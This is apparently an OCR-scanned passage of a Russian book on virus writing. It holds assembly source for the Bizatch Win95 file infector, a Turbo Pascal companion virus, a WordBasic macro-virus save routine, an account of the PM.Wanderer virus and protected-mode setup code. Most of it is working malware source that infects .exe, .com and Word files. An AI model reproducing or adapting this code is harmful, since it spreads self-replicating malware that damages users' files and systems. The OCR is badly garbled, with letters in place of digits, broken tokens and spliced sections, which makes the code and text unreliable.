;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader],00004550h;
jnz notape
.Проверим файл на зараженность. Если файл заражен,

;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка

push О

push О
push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer
;Считаем весь РЕ-заголовок и таблицу объектов

push О
lea eax, [ebp+offset bytesread]

push eax
push dword ptr [ebp+offset headersize]

lea eax, [ebp+offset peheader]

push eax
push dword ptr [ebp+offset ahand]

call ReadFile
[Установим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh


[Найдем смещение таблицы объектов

xor eax.eax
mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax
[Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax.eax
mov ax,[ebp+offset numObj]

mov ecx.40
xor edx.edx
mul ecx
add esi.eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi.esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта
mov eax, [edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx.dword ptr [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта

mov ecx.dword ptr [ebp+offset filealign]

mov eax.vend-vstart

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax
.Вычислим виртуальный размер нового объекта

mov ecx.dword ptr [ebp+offset objalign]

mov eax.vend-vstart+tOOOh

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax
; Вычислим физическое смещение нового объекта

mov eax,[edi-5*8+20]

add eax,[edi-5*8+16]

mov ecx.dword ptr [ebp+offset filealign]

xor edx.edx

div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
[Обновим размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx, [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
.Скопируем новый объект в таблицу объектов
mov ecx, 10
rep movsd
[Вычислим точку входа RVA
mov eax.dword ptr [ebp+offset RVA]
mov ebx.dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax.ebx
add eax,5
[ Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка

push О

push О
push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer
[Запишем РЕ-заголовок и таблицу объектов в файл

push О
lea eax, [ebp+offset bytesread]

push eax
push dword ptr [ebp+offset headersize]

lea eax, [ebp+offset peheader]

push eax
push dword ptr [ebp+offset ahand]

call WriteFile
[Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
[Поставим указатель позиции чтения/записи

; по физическому смещению нового объекта
push О
push О
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;3апишем тело вируса в новый объект

push О
lea eax,[ebp+offset bytesread]

push eax
push vend-vstart

lea eax, [ebp+offset vstart]

push eax
push dword ptr [ebp+offset ahand]

call WriteFile
[Закроем файл

notape:
push dword ptr [ebp+offset ahand]
call CloseFile
[Переход к следующему файлу

findnextone:
[Проверим, сколько файлов заразили: если 3,

;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax, [ebp+offset win32_data_thang]

push eax
push dword ptr [ebp+offset searchhandle]

call FindNext
.Если файл найден, переходим к заражению

or eax.eax

jnz gofile
;Сюда попадаем, если файл не найден

foundnothing:
;Сменим директорию

хог еах.еах
lea edi,[ebp+offset tempdir]

mov ecx,256/4

rep stosd
lea edi,[ebp+offset tempdirl]

mov ecx.256/4

rep stosd
Получим текущую директорию

lea esi,[ebp+offset tempdir]

push esi

push 255

call GetCurDir
.Сменим директорию на "."
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию

lea edi,[ebp+offset tempdirl]

push edi

push 255

call GetCurDir
Проверим, корневая ли это директория. Если да, то выходим

mov есх.256/4

rep cmpsd

jnz infectdir
;"3аметаем следы" и выходим в программу-носитель

outty:
;Возвратимся в оригинальную текущую директорию

lea eax,[ebp+offset orgdir]

push eax

call SetCurDir
Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax

call GetTime
Проверим число. Если это 31-ое, выдаем сообщение

cmp word ptr [ebp+offset day],31

jnz nopayload
.Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax, [ebp+offset boxtitle]
push eax
lea eax, [ebp+offset boxmsg]
push eax
push 0
call MsgBox
; Выход в программу-носитель

nopayload:
pop eax
jmp eax
; Когда KERNEL будет обнаружен, его смещение будет записано

kern dd OBFF93B95h
;3начения KERNEL, известные нам

kern1 dd OBFF93B95h

kern2 dd OBFF93C1Dh
;Чтение текущей директории

GetCurDir:
;3апишем в стек значение для получения текущей

директории и вызовем KERNEL
push OBFF77744h
jmp [ebp+offset kern]
.Установка текущей директории

SetCurDir:
;3апишем в стек значение для установки текущей

директории и вызовем KERNEL
push OBFF7771Dh
jmp [ebp+offset kern]
[Получение времени и даты

GetTime:
Проверим, какой KERNEL работает

cmp [ebp+offset kern],OBFF93B95h

jnz gettimekern2
;3апишем в стек значение для получения

;времени и даты и вызовем KERNEL
push OBFF9DOB6h
jmp [ebp+offset kern]

gettimekern2:
;3апишем в стек значение для получения

;времени и даты и вызовем KERNEL
push OBFF9D-l4Eh
jmp [ebp+offset kern]
;Вывод сообщения

MsgBox:
.Запишем в стек значение для вывода сообщения и вызовем KERNEL

push OBFF638D9h

jmp [ebp+offset kern]
.Поиск первого файла

FindFile:
;3апишем в стек значение для поиска первого файла

;и вызовем KERNEL
push OBFF77893h
jmp [ebp+offset kern]
; Поиск следующего файла

FindNext:
;3апишем в стек значение для поиска

[следующего файла и вызовем KERNEL
push OBFF778CBh
jmp [ebp+offset kern]
[Открытие/создание файла

CreateFile:
;3апишем в стек значение для открытия/создания файла

;и вызовем KERNEL
push OBFF77817h
jmp [ebp+offset kern]
[Установка указателя чтения/записи

SetFilePointer:
;3апишем в стек значение для установки

.указателя чтения/записи файла и вызовем KERNEL
push OBFF76FAOh


jmp [ebp+offset kern]
;Чтение из файла

ReadFile:
;3апишем в стек значение для чтения из файла и вызовем KERNEL

push OBFF75806h

jmp [ebp+offset kern]
;3апись в файл

WriteFile:
;3апишем в стек значение для записи в файл и вызовем KERNEL

push OBFF7580Dh

jmp [ebp+offset kern]
;3акрытие файла

CloseFile:
;3апишем в стек значение для закрытия файла и вызовем KERNEL

push OBFF7BC72h

jmp [ebp+offset kern]
;Счетчик заражений

countinfect db 0
Используется для поиска файлов

win32_data_thang:
fileattr dd 0

createtime dd 0,0

lastaccesstime dd 0,0

lastwritetime dd 0,0

filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя сообщения, выводимого 31-го числа

boxtitle db "Bizatch by Quantum / VLAD",0
.-Сообщение, выводимое 31-го числа

boxmsg db "The taste of fame just got tastier!",Odh
db "VLAD Australia does it again with the world"s first Win95 Virus"
db Odh.Odh
db 9."From the old school to the new. ".Odh.Odh
db 9,"Metabolis",Odh
db 9,"Qark",Odh
db 9,"Darkman",Odh
db 9,"Quantum",Odh
db 9,"CoKe",0

messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db "written by Quantum of VLAD",0
Данные о директориях

orgdir db 256 dup (0)

tempdir db 256 dup (0)

tempdirl db 256 dup (0)
Используется для смены директории

dotdot db ".",0
Используется для получения времени/даты

systimestruct:
dw 0,0,0

day dw 0
dw 0,0,0,0
;Индекс для поиска файлов

searchhandle dd О
;Маска для поиска

fname db "*.exe",0
; Описатель открытого файла

ahand dd О
;Смещение РЕ-заголовка в файле

peheaderoffset dd О
[Смещение таблицы объектов

ObjectTableoffset dd О
[Количество записанных/считанных байт при работе с файлом

bytesread dd О
.Новый объект

newobject:
oname db ".vlad",0,0,0

virtualsize dd 0

RVA dd 0
physicalsize dd 0

physicaloffset dd 0

reserved dd 0,0,0

objectflags db 40h,0,0,OCOh
Данные, необходимые для заражения файла

peheader:
signature dd 0

cputype dw 0

numObj dw 0

db 3*4 dup (0)

NtHeaderSize dw 0

Flags dw 0

db 4*4 dup (0)

entrypointRVA dd 0

db 3*4 dup (0)

objalign dd 0

filealign dd 0

db 4*4 dup (0)

imagesize dd 0

headersize dd 0
;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов

vend:
db -lOOOh dup (0)

ends

end vstart

Данный макрос открывает диалоговое окно

' Данный макрос открывает диалоговое окно и выводит сообщение
Sub Stupid_Greeting
MsgBox "Hello World!"
End Sub
Процедуры-функции (также называемые просто функциями) возвраща-

ют значение, которое может быть передано в качестве параметра другой

процедуре. Их синтаксис:
Function <Имя_Функции>(Аргументы)

-> Инструкции <-

'Комментарий

End Function

'Суммирует параметры а и b и возвращает

'результат в переменную "AddAB"

Function AddAB(a.b)

AddAB=a+b

End Function
Конечно, в документ можно вставить столько макросов, сколько нужно

(или сколько хочется), ограничений на их количество нет. Набор мак-

росов (процедур-подпрограмм и процедур-функций), составляющих до-

кумент, называется модулем VBA.
Язык VBA работает также с объектами (внутри модулей VBA можно

делать ссылки на документы, графику). Объекты обладают свойствами.

Например, свойством (или атрибутом) объекта является его цвет.
VBA также позволяет работать с переменными. Как любой язык струк-

турного типа, VBA имеет типичные конструкции:
цикл "For-next":
Sub Counter "Процедура
lnfect_Num=0
For Count=1 to 10 'Цикл от 1 до 10
lnfect_Num=lnfect_Num+Count
Next Count
MsgBox "Достигли максимального количества заражений"
End Sub
4-1436
условие "If-then":
Sub lnfect_Check
If lnfect_Num=0 Then MsgBox "Файл не заражен"
End Sub
конструкция "With-end with" (используется для работы с несколькими

свойствами конкретного объекта):
Sub ChangeProperties

With Selection

.Font.Bold=True
.Font.Colorlndex=3 'красный цвет

End With

End Sub
селектор "Select case-end case":
Sub CheckJnfection
Select Case lnfect_Num
Case 0
MsgBox "Файл не заражен"
Case is > О
MsgBox "Файл заражен"
Case is < О
lnfect_Num=0
End Case
End Sub
Полезным инструментом для работы с VBA является окно отладки.

В нем можно трассировать код, вносить в него изменения и делать мно-

гое другое. В процессе отладки для остановки на некоторое время ис-

полнения кода используются флаги. Чтобы можно было анализировать

содержимое конкретных переменных и/или инструкций, после каждой

команды выводятся сообщения (в отладчике VBA для прерывания ис-

полнения кода можно ставить также контрольные точки).
Нужно обратить внимание на разнообразные аргументы функций.

Как уже говорилось, структура их следующая:


Function <Имя>(Аргументы)
[.]

End Function
Аргументами могут быть константы, переменные или выражения.

Процедуры могут быть и без аргументов.
Function Get_Name()

Name=Application.UserName

End Function
Некоторые функции всегда требуют фиксированное число аргументов

(до 60). Другие функции имеют несколько обязательных аргументов,

а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, виру-

сы и "троянцы" на VBA.
Язык VBA универсален, и тому есть две причины. Во-первых, этот язык

прост в изучении и использовании, поскольку он является языком ви-

зуального программирования, он ориентирован на события, а не на

объекты. С его помощью без особых затрат времени очень легко созда-

вать сложные модули. Во вторых, можно использовать большое количе-

ство предопределенных функций, облегчающих работу. В третьих, име-

ются функции (или макросы) автоматического выполнения, что

позволяет упростить написание процедур автокопирования, занесения

в память и прочих используемых стандартными DOS-вирусами.
Помимо этого, преимуществом VBA является свойство переносимости.

VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то есть

в любой операционной системе, где можно запустить приложения его

поддерживающие.
VBA представляет собой язык, адаптированный к языку приложения,

из-под которого он запущен. Это означает, что если на компьютере ус-

тановлена, например, испанская версия WinWord, то имена предопреде-

ленных функций будут также на испанском. Так что два следующих

макроса - вовсе не одно и то же.

Приведенный ниже листинг показывает заражение файлов этим методом.

($М 2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-}
{$!-}
f$L-(
{$N-)
{$S-}
<$V-}
{$X+}
(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
{Имя вируса)
VirName='Guesf;
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество зараженных за один сеанс работы файлов}
lnfCount=2;
Var
{Для имени найденного файла)
TargetFile : PathStr;
{Для создания копии}
TargetCOM : PathStr;
(Счетчик количества заражений}
InfFiles : Byte;
Dirlnfo : SearchRec;
{Для сохранения параметров командной строки}
Parms : String;
(Для цикла For}
I: Byte;
(Поиск жертв}
procedure FindTarget;
Var
Sr : SearchRec;
{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
но с расширением СОМ}
AssignHarget, TargetCOM);
ResetHarget, 1);
{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True;
{Открыли - закроем}
Close(Target);
end;
end;
{Собственно процедура заражения}
procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{С помощью командного процессора
копируем вирусный код в СОМ-файл}
Swap Vectors;
Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'
'+TargetCOM+' >NUL');
Swap Vectors;
(Увеличиваем на единицу счетчик инфицированных файлов}
Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
(Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';

{Вызываем процедуру заражения}

InfectFile;

{ Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

Parms:=' ';

{Запоминаем параметры командной строки}

If ParamCount <> 0 Then

For l:=1 To ParamCount Do

Parms:=Parms+' '+ParamStr(l);

{Ищем жертвы и заражаем их}

FindTarget;

TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';

(Ищем файл с именем стартового файла, но с расширением ЕХЕ}

FindFirst(TargetFile, AnyRle, Dirlnfo);

{Если такой файл найден, запускаем его на выполнение)

If DosError=0 Then

begin

Swap Vectors;

Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);

Swap Vectors;

end Else

{Если файл не найден, выходим,

не внося в программу изменений)

begin

WriteLn(#13#10, VirName, ' by '.Author);

WriteLnCKaKoe-нибудь сообщение');

end;

end.

Процедура SaveAs


Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура использует во многом схо-
жую с процедурой AutoExec технологию. Код для нее:
Sub MAIN
Dim dig As FileSaveAs
GetCurValues dig
Dialog dig
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"
'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"
'При открытии документа
Dlg.Format=1
End If
FileDaveAs dig
End Sub
Этой информации вполне достаточно для создания небольших макро-
вирусов.

Программы, авторизующиеся в Online


В последнее время все чаще стали появляться программы, которые про-
веряют через Интернет, зарегистрирована ли данная копия программы.
Вернее, когда пользователь работает в Интернет, они незаметно это про-
веряют, а потом радуют сообщением о том что используемая копия не-
легальна. Наглядный тому пример - Bullet Proof FTP. Но это еще не
все. Существует мнение, что такие программы, как, например, операци-
онная система Windows, способны как бы следить за всем, что происхо-
дит в компьютере (либо сами, либо по команде из Интернет), и отправ-
лять все собранные данные своим разработчикам. Не так давно
разразился скандал, когда выяснилось, что один известный FTP-клиент
отправлял все вводимые имена и пароли своим разработчикам. Так что
будьте бдительны!

Простейший СОМ-вирус

В начале СОМ-файла обычно находится команда безусловного перехода
JMP, состоящая из трех байт. Первый байт содержит код команды OE9h,
следующие два - адрес перехода. Поскольку рассматриваемый ниже ви-
рус учебный, он будет заражать только СОМ-файлы, начинающиеся
с команды JMP. Благодаря простому строению СОМ-файла в него очень
просто добавить тело вируса и затем указать его адрес в команде JMP.
На рис. 1.1. показано заражение файла таким способом.
После загрузки зараженного файла управление получает вирус. Закон-
чив работу, вирус восстанавливает оригинальный JMP и передает уп-
равление программе, как показано на рис. 1.2.
Что же делает рассматриваемый вирус? После старта он ищет в теку-
щем каталоге СОМ-программы. Для этого используется функция 4Eh
(найти первый файл):
Простейший СОМ-вирус

Protected Mode - укрытие для вируса

Персональные компьютеры год от года становятся все сложнее и слож-
нее, используют все более высокие аппаратные и программные техноло-
гии. Компьютерные вирусы тоже не отстают и пытаются приспособиться
к новым условиям обитания. Так, вирусы научились заражать загрузоч-
ные сектора дисков, файлы для операционных систем DOS, Windows,
Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97.
Скрывая свое присутствие в системе, они стали невидимками, или
стелс-вирусами. Они научились быть полиморфными для того, чтобы
их распознавание стало еще более трудной задачей для разработчиков
антивирусных средств. С появлением процессоров i386 вирусы стали
использовать в своем коде 32-разрядные инструкции. В настоящее вре-
мя полиморфные вирусы используют 32-разрядные расшифровывающие
команды в своем декрипторе.
Одним словом, вирусы хотят выжить и победить. Для этого они исполь-
зуют все новые возможности, как программные, так и аппаратные. Но
защищенный режим работы, появившийся вместе с процессором i286,
до недавнего времени вирусам никак не удавалось "приручить". Вернее,
были "пробы пера", но реального решения этой задачи они не дали.
Загрузочный вирус PMBS, первым пытавшийся освоить защищенный ре-
жим (1994 г.), не мог ужиться ни с одной программой или драйвером
(EMM386, Windows, OS/2,...), которые также использовали в своей рабо-
те защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже
1994 г.) использовали только часть мощного защищенного режима и толь-
ко в то время, когда процессор работал в реальном режиме. Данные виру-
сы заменяли реальную таблицу векторов прерываний на собственную.
Но вот, похоже, проблема близка к разрешению: в России в "диком"
виде обнаружен файловый вирус PM.Wanderer, использующий защи-
щенный режим. Причем он более или менее корректно и стабильно вза-
имодействует с другими программами и драйверами, также использую-
щими защищенный режим.
PM.Wanderer является резидентным полиморфным вирусом, использу-

ющим защищенный режим процессоров i386-Pentium. Для установки

своей резидентной копии в память и переключения в защищенный ре-

жим процессора (Protected Mode) вирусом используется документиро-

ванный интерфейс VCPI (Virtual Control Program Interface) драйвера

расширенной памяти EMS (EMM386).

При старте инфицированной программы вирусный полиморфный дек-

риптор расшифровывает основное тело вируса и передает ему управле-

ние. Далее основной вирусный код выделяет участок памяти в верхних

адресах, копирует в него собственный код и передает ему управление.

Затем он восстанавливает код инфицированного файла в программном

сегменте (для ЕХЕ-файлов также производит настройку адресов пере-

мещаемых элементов) и приступает к непосредственному внедрению

в память своей резидентной копии. .

В первую очередь вирус пытается вьыснить, установлен ли в системе драй-

вер EMS. Если этот драйвер не установлен или вирусная резидентная ко-

пия уже находится в памяти, вирус отдает управление программе-вирусо-

носителю, заканчивая тем самым свою "жизнедеятельность" в системе.

Если же "условия среды обитания" благоприятствуют, вирус выполня-

ет ряд подготовительных операций для выделения памяти под свое тело

и производит переключение процессора в защищенный режим работы

с наивысшим уровнем привилегий - режим супервизора.

В защищенном режиме вирус устанавливает две аппаратные контрольные

точки на адреса входа в обработчик прерывания INT 21h (функции DOS)

и перехода на процедуру перезагрузки компьютера. Кроме того, вирус

корректирует дескрипторную таблицу прерываний таким образом, чтобы

на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) ус-

тановить собственные дескрипторы обработчиков прерываний.

После этих приготовлений вирус копирует свой код в страницу памяти,

полученную им еще до входа в защищенный режим, и производит пере-

ключение процессора обратно в виртуальный режим работы. Затем он

начинает процедуру освобождения ранее выделенной памяти DOS

в верхних адресах и возвращает управление инфицированной программе.

С этого момента инфицированная программа начинает свою основную

работу, а в защищенном режиме оказываются установленными вирус-

ные обработчики - ловушки на INT 1 и прерывания от клавиатуры на

INT 9. С их помощью вирус контролирует, во-первых, все вызовы фун-

кций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих,

попытки мягкой перезагрузки компьютера. В свою очередь, такой конт-

роль обеспечивает вирусу возможность как надежно реагировать на ряд

интересующих его событий при работе программы, так и постоянно

проверять состояние двух своих контрольных точек и при необходимо-

сти восстанавливать их.

В частности, если вирус обнаруживает, что данный вызов исходит

от его "собрата", он просто возвращает некоторое условное значение,

играющее роль отзыва "я - свой". Таким образом, вирус, пытавшийся

выяснить наличие своей копии в памяти, будет информирован о том,

что память уже инфицирована.

Если вирус обнаруживает попытку получения адреса прерывания INT 6

(обычно такой вызов существует во всех программах, написанных на

языках высокого уровня, например С, Pascal), то он 1"Ъ1тается найти

в адресном пространстве некоторую последовательность байт, очевидно

принадлежащих программе ADinf, но какой-то старой версии. Кстати,

по информации разработчика ADinf Дмитрия Мостового, за последний

год в версиях ADinf не содержится такая последовательность. Если дан-

ная последовательность вирусом найдена, он определенным образом

модифицирует найденный код, чтобы управление не попадало на вызов

межсегментной процедуры, демонстрирующей пользователю найденные

на диске или в файлах изменения.

Если же вирус обнаруживает запрос на запуск программы или открытие

файла (только на чтение), то понимает, что наступило время "большой

охоты". Вирус копирует свой код в старшие адреса виртуального про-

цесса DOS-машины, переключает процессор в виртуальный режим

и отдает управление своему коду (процедуре заражения).

В виртуальном режиме вирус проверяет последние две буквы расшире-

ния имени файла (ОМ или ХЕ), создает свою полиморфную копию

и заражает файлы размером более 4095 байт. Файлы, содержащие

в поле значения времени создания 34 секунды, вирус не заражает, счи-

тая их уже инфицированными. Корректировку атрибутов файлов вирус

не производит, поэтому все файлы, помеченные как "только для чте-

ния", заражены не будут. Также вирус не заражает программы, имя ко-

торых состоит из 7 букв. Имена данных программ выяснить не удалось,

так как вирус не определяет их имена явно, а подсчитывает CRC име-

ни. Вирус не берет на себя обработку критических ошибок, поэтому при

попытке записи на защищенный диск в процессе заражения появится

стандартный вопрос DOS (...Retry, Ignore, Fail, Abort).

При заражении файлов вирус использует прямой вызов ядра обработчи-

ка DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h

во время своей установки в память. Вирусный код внедряется в начало

СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Ориги-

нальный программный код запоминается в конце файла. Реальный

рабочий код вируса составляет 3684 байт, но на практике инфицирован-

ные файлы имеют приращение длины более 3940 байт. В теле вируса

содержится текст "WANDERER".

Обнаружить резидентную копию данного вируса, находящегося в нуле-

вом кольце защищенного режима процессора, обычными способами не-

возможно. Для этого необходимо переключаться в защищенный режим

с наивысшими привилегиями и производить его поиск. Но попытаться

обнаружить признаки вируса в системе можно и обычными способами.

После обнаружения вируса рекомендуется, как и всегда в таких случа-

ях, перезагрузиться с системной дискеты и выполнить лечение в заведо-

мо стерильных условиях. Правда, данный вирус не является Stealth-ви-

русом, и его лечение допустимо даже при активном вирусе.

Теперь немного о результатах тестирования.


При заражении несколь-

ких тысяч файлов- жертв вирус проявил себя как "жилец" - все зара-

женные файлы оказались работоспособными. Здесь надо сделать по-

правку - файлы могут оказаться неработоспособными в том случае,

если их стек после заражения окажется в области вирусного кода.

PM.Wanderer при заражении файлов не корректирует значения стар-

товых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет

способность к воспроизводству только в том случае, если в системе уста-

новлен драйвер EMS (EMM386). При установленном драйвере EMM386

с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также

возможна, если в системе используется драйвер QEMM386.

Самое интересное, что если в системе находился резидентный вирус,

а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не

сможет размножаться в данных операционных средах, но при выходе

в DOS он опять получает управление и может "трудиться, не покладая

рук". Если же вирус будет запущен в DOS-сессии Windows, то из-за

отсутствия интерфейса VCPI вирус не сможет переключиться в защи-

щенный режим. При отсутствии VCPI под OS/2 вирус также нежизнес-

пособен.

Возможно, в недалеком будущем компьютерный вирус сможет полнос-

тью заменить своим кодом программу-супервизора и сам будет поддер-

живать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.

Приведенная ниже программа позволяет программисту перевести про-

цессор в защищенный режим. В этом режиме вирус может, например,

расшифровать некоторые данные.

Данная программа делает следующее:

- создает таблицы GDT и LDT, используя текущие значения

CS.DS.SS

- запрещает все прерывания, открывает линию А20

для доступа к RAM>1 Мбайт

- переводит процессор в защищенный режим

- в первый символ строки qw заносит символ L

- выходит в реальный режим

- разрешает прерывания, закрывает А20 -т

- выводит на экран строку qw ("Light General")

- выход в DOS

.286

.model tiny

.code

org 100h

Определения для защищенного режима работы программы

;Структура дескриптора

desc_struc STRUC

limit dw 0

baseJ dw 0

base_h db 0

access db 0

rsrv dw 0

desc_struc ENDS

ACC_PRESENT equ WOOOOOOb

ACC_CSEG equ OOO-MOOOb

ACC_DSEG equ 000-IOOOOb

ACC_EXPDOWN equ 000001 OOb

ACC_CONFORM equ 000001 OOb

ACC_DATAWR equ 0000001 Ob

DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR

; 1001001 Ob

CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM

; 10011100b

STACK_ACC= ACC_PRESENT or ACC_DSEG or ACC_DATAWR or

ACC.EXPDOWN; 1001011 Ob

;Размеры сегментов (реальные размеры на единицу больше)

CSEG SIZE=65535

DSEG_SIZE=65535

STACK_SIZE=65535

[Смещения используемых дескрипторов

CS_DESCR=(gdt_cs-gdt_0)

DS_DESCR=(gdt_ds-gdt_0)

SS_DESCR=(gdt_ss-gdt_0)

;Константы значений портов ?

CMOS_PORT equ 70h

STATUS_PORT equ 64h

SHUTDOWN equ OFEh

A20_PORT equ OD1h

A20_ON equ ODFh

A20_OFF equ ODDh

INT_MASK_PORT equ 21 h

KBD_PORT_A equ 60h

start:

.Инициализируем необходимые данные для перехода

;в защищенный режим

call init_protected_mode

[Переходим в защищенный режим

call set_protected_mode

;Теперь компьютер работает в защищенном режиме!

;Так как таблица прерываний реального режима не может быть

использована в защищенном, прерывания запрещены!

;Именно тут можно вставить инструкции, нужные вирусу

.Возвращаемся в реальный режим

call set_real_mode

[Печатаем сообщение "Light General"

mov ah,09h

lea dx.qw

int 21 h

;Выходим в DOS

mov ax,4COOh

int 21 h

[Макрокоманда для установки адреса для дескриптора

;в глобальной таблице дескрипторов GDT.

;На входе регистры DLAX должны содержать

.абсолютный адрес сегмента

setgdtentry MACRO

mov [desc_struc.base_l][bx],ax

mov [desc_struc.base_h][bx],dl

ENDM

•<

; Процедура инициализации необходимых данных

.для перехода в защищенный режим

init_protected_mode PROC

вычисляем абсолютный адрес для сегмента данных

;в соответствии со значением регистра DS

mov ax.ds

mov dl.ah

shr dl,4

shi ax,4

;Устанавливаем адрес сегмента данных

;в глобальной таблице дескрипторов


mov bx, offset gdt_ds

setgdtentry

; Вычисляем абсолютный адрес для сегмента GDT: прибавляем

;к уже вычисленному абсолютному адресу сегмента данных

;смещение в нем таблицы дескрипторов

add ax,offset gdtr

adc dl.0

Останавливаем адрес сегмента GDT

;в глобальной таблице дескрипторов

mov bx.offset gdt_gdt

setgdtentry

;Вычисляем абсолютный адрес для сегмента кода

;в соответствии со значением регистра CS

mov ax,cs

mov dl.ah

shr dl,4

shi ax,4

.Устанавливаем адрес сегмента кода

;в глобальной таблице дескрипторов

mov bx, offset gdt_cs

setgdtentry

[Вычисляем абсолютный адрес для сегмента стека

;в соответствии со значением регистра SS

mov ax.ss

mov dl.ah

shr dl,4

shi ax,4

Останавливаем адрес сегмента стека

;в глобальной таблице дескрипторов

mov bx,offset gdt_ss

setgdtentry

Перехватываем рестарт. Так как процессор i286 (а эта программа

[рассчитана именно на такой процессор) не имеет возможности

;возврата в реальный режим из защищенного, возврат в реальный

режим будем производить следующим образом: перехватим рестарт,

.сгенерируем CPU Reset, после которого получим управление, когда

Процессор будет находится уже в реальном режиме. На процессоре

;i386 возврат в реальный режим происходит

[значительно проще и "естественнее".

push ds

mov ax,40h

mov ds,ax

mov word ptr ds:[0067h], offset shutdown_return

mov word ptr ds:[0069h],cs

pop ds

[Запрещаем маскируемые прерывания

cli

in al,INT_MASK_PORT

or al.OFFh

out INT_MASK_PORT,al

[Запрещаем немаскируемые прерывания. Данная последовательность

;команд не запрещает "незапрещаемые" прерывания в процессоре

[(этого сделать по определению нельзя), а "не пускает" сигнал

[немаскируемого прерывания к процессору

mov al,8Fh

out CMOS_PORT,al

jmp $+2

mov al,5

out CMOS_PORT+1,al

ret

init_protected_mode ENDP

[Подпрограмма, переводящая процессор в защищенный режим

set_protected_mode PROC

.Открываем адресную линию А20 для доступа свыше 1Мбайт.

;При закрытой линии адресное пространство

["зацикливается" в пределах 1Мбайт

call enable_a20

. Сохраняем значение регистра SS для реального режима

mov real_ss,ss

[Переводим компилятор Turbo Assembler в улучшенный режим.

[IDEAL - это не команда и не оператор, это директива, влияющая

[только на интерпретацию дальнейших строк листинга

ideal

р286

[Загружаем регистр глобальной таблицы дескрипторов GDTR

